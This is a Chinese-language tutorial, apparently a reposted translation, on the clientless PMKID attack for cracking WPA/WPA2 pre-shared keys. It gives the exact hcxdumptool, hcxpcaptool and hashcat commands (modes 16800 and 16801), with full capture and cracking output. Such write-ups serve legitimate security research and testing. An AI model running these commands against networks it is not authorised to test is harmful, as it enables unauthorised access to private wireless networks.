前言

在这篇文章中,我将介绍一种利用 Hashcat 破解 PMKID,进而破解WPA PSK(预共享密钥)密码的新技术。

 

工具准备

要实施此种新攻击,您可能需要以下工具:

hcxdumptool v4.2.0或更高版本 hcxtools v4.2.0或更高版本 hashcat v4.2.0或更高版本

 

攻击概述

我在寻找攻击WPA3安全标准的新方法时,意外发现了这种攻击。由于其先进的密钥建立协议——“SAE”(Simultaneous Authentication of Equals,对等实体同步验证),WPA3将更难被攻击。
与现有攻击的主要区别在于,在此攻击中,不需要捕获完整的EAPOL 4次握手。新攻击在单个EAPOL帧的RSN IE(Robust Security Network Infomation Element,强健安全网络信息元素)上执行。
目前,我们不知道哪种品牌或多少路由器会适用于这种攻击,但我们认为它将适用于所有启用了漫游功能的802.11i/p/q/r网络(现在大多数路由器都具有这种功能)。

这种攻击的主要优点如下:

不再需要常规用户——攻击者直接与AP通信(又称“无客户端”攻击) 不再需要等待普通用户和AP之间的完全4次握手 不再发生EAPOL帧的最终重传(可能导致无法破解的结果) 常规用户不再发送最终的无效密码 当常规用户或AP离攻击者太远时,不会丢失EAPOL帧 不再需要修复nonce和replaycounter值(表现为稍高的传输速度) 没有更多特殊输出格式(pcap,hccapx等)——最终数据将显示为常规十六进制编码字符串

 

攻击细节

RSN IE是802.11管理帧中的一个可选字段。RSN其中一个参数是PMKID。


PMKID通过使用HMAC-SHA1计算生成,其密钥为PMK,数据部分由固定字符串标签“PMK Name”、接入点MAC地址和站MAC地址组合而成。

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

由于PMK与常规EAPOL 4次握手相同,因此是一种理想的攻击向量。
我们可以从AP接收的第一个EAPOL帧中获取所需数据。

 

攻击复现

1. 运行hcxdumptool,从AP请求PMKID并将收到的帧转储到文件中(存储为pcapng格式)。

$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status

输出:

start capturing (stop with ctrl+c) INTERFACE:...............: wlp39s0f3u4u5 FILTERLIST...............: 0 entries MAC CLIENT...............: 89acf0e761f4 (client) MAC ACCESS POINT.........: 4604ba734d4e (start NIC) EAPOL TIMEOUT............: 20000 DEAUTHENTICATIONINTERVALL: 10 beacons GIVE UP DEAUTHENTICATIONS: 20 tries REPLAYCOUNTER............: 62083 ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

如果AP收到我们的关联请求数据包并支持发送PMKID,我们会在不久后看到一条“FOUND PMKID”消息:

[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4] [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206] [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]

注意:由于wifi通道上的噪音,可能需要经过一段时间才能收到PMKID。我们建议在终止前最多运行hcxdumptool10分钟。

2. 运行hcxpcaptool将捕获的数据从pcapng格式转换为hashcat可接受的哈希格式。

$ ./hcxpcaptool -z test.16800 test.pcapng

输出:

start reading from test.pcapng summary: -------- file name....................: test.pcapng file type....................: pcapng 1.0 file hardware information....: x86_64 file os information..........: Linux 4.17.11-arch1 file application information.: hcxdumptool 4.2.0 network type.................: DLT_IEEE802_11_RADIO (127) endianess....................: little endian read errors..................: flawless packets inside...............: 66 skipped packets..............: 0 packets with FCS.............: 0 beacons (with ESSID inside)..: 17 probe requests...............: 1 probe responses..............: 11 association requests.........: 5 association responses........: 5 authentications (OPEN SYSTEM): 13 authentications (BROADCOM)...: 1 EAPOL packets................: 14 EAPOL PMKIDs.................: 1 1 PMKID(s) written to test.16800

写入文件的内容会类似于以下的格式:

2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a

这4列分别为(16进制编码过的):

PMKID MAC AP MAC Station ESSID

注意:虽然不是必需的,但建议使用hcxpcaptool的-E -I和-U参数。我们可以提供这些文件为hashcat所用。它们通常会产生良好的效果。

-E 从WiFi流量中检索可能的密码(此外,此列表将包含ESSID) -I 从WiFi流量中检索身份 -U 从WiFi流量中检索用户名 $ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng

3. 运行hashcat进行破解

我们可以像攻击任何其他哈希类型一样攻击这个哈希。我们需要使用的哈希模式是16800。

$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

输出:

hashcat (v4.2.0) starting... OpenCL Platform #1: NVIDIA Corporation ====================================== * Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU * Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU * Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU * Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Applicable optimizers: * Zero-Byte * Single-Hash * Single-Salt * Brute-Force * Slow-Hash-SIMD-LOOP Minimum password length supported by kernel: 8 Maximum password length supported by kernel: 63 Watchdog: Temperature abort trigger set to 90c 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat! Session..........: hashcat Status...........: Cracked Hash.Type........: WPA-PMKID-PBKDF2 Hash.Target......: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf...a39f3a Time.Started.....: Thu Jul 26 12:51:38 2018 (41 secs) Time.Estimated...: Thu Jul 26 12:52:19 2018 (0 secs) Guess.Mask.......: ?l?l?l?l?l?lt! [8] Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#2.....: 408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#3.....: 412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#4.....: 410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#*.....: 1641.3 kH/s Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 66846720/308915776 (21.64%) Rejected.........: 0/66846720 (0.00%) Restore.Point....: 0/11881376 (0.00%) Candidates.#1....: hariert! -> hhzkzet! Candidates.#2....: hdtivst! -> hzxkbnt! Candidates.#3....: gnxpwet! -> gwqivst! Candidates.#4....: gxhcddt! -> grjmrut! HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1 HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1 HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1 HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1 Started: Thu Jul 26 12:51:30 2018 Stopped: Thu Jul 26 12:52:21 2018

哈希模式16801也同样适用,它允许跳过PMK的计算——这个计算会导致WPA的破解十分缓慢。如果破解情形不是很理想,无法将哈希传输到远程破解装置,这时候预计算PMK将会变得非常有用。预计算PMK的目的就是让您可以用笔记本进行hashcat运算。

哈希模式16801需要一个预计算PMK列表,编码成长度为64的十六进制编码,作为输入列表。要预先计算PMK,可以使用hcxkeys工具。而hcxkeys工具需要ESSID,因此您需要提前从客户端申请ESSID。

文章原文链接:https://www.anquanke.com/post/id/154286